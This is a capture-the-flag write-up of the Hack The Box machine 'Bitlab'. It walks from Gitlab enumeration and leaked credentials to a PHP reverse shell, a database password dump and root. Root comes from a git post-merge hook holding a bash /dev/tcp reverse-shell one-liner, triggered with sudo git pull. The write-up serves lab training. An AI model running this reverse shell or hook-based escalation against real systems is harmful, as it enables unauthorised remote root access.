HTB: Bitlab (Linux Machine)

Hack The Box - “Bitlab” - Linux - 10.10.10.114

Completed: December 10th, 2019

Retired: January 9th, 2020

Foothold

This machine was running an older version of Gitlab. A quick nmap showed that the machine had port 80 open, so I decided to start by running a nikto scan.

I started with a nikto scan on the target:

ben@kali-linux:~
└──> nikto -h 10.10.10.114
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.114
+ Target Hostname:    10.10.10.114
+ Target Port:        80
+ Start Time:         2019-12-09 15:00:55 (GMT-7)
<snip>
+ Root page / redirects to: http://10.10.10.114/users/sign_in
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/autocomplete/users/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/search/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Server banner has changed from 'nginx' to 'Apache/2.4.29' which may suggest a WAF, load balancer or proxy is in place
+ Entry '/profile/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /help/: Directory indexing found.
+ Entry '/help/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/users/sign_in/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 55 entries which should be manually viewed.
+ /help/: Help directory should not be accessible
<snip>

I’m fairly familiar with using Gitlab, so I navigated through their instance until I stumbled across a user named “clave”, whose profile was publicly visible to non-logged-in users.

I kept looking around until I realized on the “/help” page that the href for the Gitlab link was basically just a javascript function with hex blob strings in an array passed to a function that added elements to the dom. By decoding each hex string, I found the following results:

“user_login”,”getElementById”,”clave”,”user_password”,”11des0081x”

I then was able to log in as the “clave” user on the gitlab instance.

Inside “Bitlab” / User Flag

The basic structure of the gitlab instance was one dev user and one admin user, where the dev could build on a php driven profile website, and the admin controlled a script that automatically updated the changes with whatever the dev pushed. As a result, I was able to push a php script that created a reverse shell anytime it was loaded in the browser. After pushing the script, I started up netcat and obtained a session for www-data on the server.

In the clave user’s gitlab snippets page, I saw he had saved a WIP php psql script for pulling users from a database, so I modified it and loaded that into the website to get a print-out of the users in their table:

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

while ($row = pg_fetch_row($result)) {
    for ($i = 0; $i < count($row); $i++) {
        echo "$row[$i]\n";
    }
}
?>

...output...
1
clave
c3NoLXN0cjBuZy1wQHNz==

This looked like a base64 encoded string, which when decoded was “ssh-str0ng-p@ss”. I took a wild guess that this was clave’s ssh pw, and I was obviously correct.

Now that I was logged in as clave on the machine, I could acquire the user flag.

Root Flag

So from here, there were two key facts:

• I had access to clave, who could write to his home directory, but didn’t have any sudo permissions for any command
• I had access to www-data, who couldn’t write anywhere, but was given permission to run sudo git pull without a pw

GTFOBin seemed like a likely place to look for a workaround, but no luck.

I eventually came up with the idea to create a dummy git repo in clave’s home directory (with full read/write permissions), write a post-merge git hook for it in .git/hooks/post-merge (runs after a pull on new changes), and run sudo git pull back as www-data in that directory.

The post-merge script pretty much was just this:

bash -i >& /dev/tcp/[IPADDRESS]/1234 0>&1

with my listener running as seen here:

ben@kali-linux:~
└──> nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.15.100] from (UNKNOWN) [10.10.10.114] 41818
bash: cannot set terminal process group (1150): Inappropriate ioctl for device
bash: no job control in this shell
root@bitlab:/home/clave/.test# cd
cd
root@bitlab:~# ls
ls
root.txt
root@bitlab:~# cat root
cat root.txt
<flag redacted>